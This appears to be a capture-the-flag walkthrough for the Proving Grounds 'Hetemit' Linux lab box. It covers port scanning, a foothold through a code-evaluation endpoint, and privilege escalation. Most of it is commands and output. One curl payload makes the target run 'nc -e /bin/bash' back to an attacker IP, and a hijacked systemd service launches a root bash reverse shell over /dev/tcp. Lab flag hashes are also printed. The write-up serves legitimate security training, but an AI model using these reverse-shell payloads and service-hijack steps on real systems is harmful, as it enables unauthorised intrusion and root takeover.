Hetemit — Proving Grounds (192.168.105.117)

export target=192.168.105.117

#proving grounds#pg#walkthrough#boxes#os:linux#tech:rce#tech:suid

Hetemit — Proving Grounds (192.168.105.117)

Port Enumeration

🐺 howlsec@kalishell

$export target=192.168.105.117
$rustscan -a $target -- -A
$21/tcp    open  ftp         vsftpd 3.0.3 (anonymous allowed)
$22/tcp    open  ssh         OpenSSH 8.0
$80/tcp    open  http        Apache 2.4.37 (centos)
$139/445   open  netbios-ssn Samba smbd 4
$18000/tcp open  biimenu?    (Rails app - Action Controller)
$50000/tcp open  http        Werkzeug httpd 1.0.1 (Python 3.6.8)

Foothold: code-eval API on port 50000

The Flask app on 50000 has a /verify endpoint that evaluates a code parameter. Set a listener, then POST a Python payload:

🐺 howlsec@kalishell

$rlwrap nc -nvlp 18000
$curl -X POST --data "code=os.system('nc -e /bin/bash 192.168.45.203 18000')" http://192.168.105.117:50000/verify

Shell lands as cmeeks:

🐺 howlsec@kalishell

$python3 -c 'import pty; pty.spawn("/bin/bash")'
$cat /home/cmeeks/local.txt
$22ded96fd8e24590cf413a552803618b

Privesc: writable systemd service

🐺 howlsec@kalishell

$find /etc -type f -writable 2>/dev/null
$# /etc/systemd/system/pythonapp.service   (writable)
$sudo -l
$# (root) NOPASSWD: /sbin/halt, /sbin/reboot, /sbin/poweroff

Rewrite the service to run a root reverse shell, then trigger a reboot (allowed via sudo) so the service restarts as root:

🐺 howlsec@kalishell

$cat << 'EOF' > /etc/systemd/system/pythonapp.service
$[Unit]
$Description=Python App
$After=network-online.target
$[Service]
$Type=simple
$WorkingDirectory=/home/cmeeks/restjson_hetemit
$ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/192.168.45.203/80 0>&1'
$User=root
$Restart=on-failure
$[Install]
$WantedBy=multi-user.target
$EOF
$ 
$rlwrap nc -nvlp 80
$sudo /sbin/reboot
$# root shell connects back
$cat /root/proof.txt
$af6a6a38a05f84b96a5a8f0671543602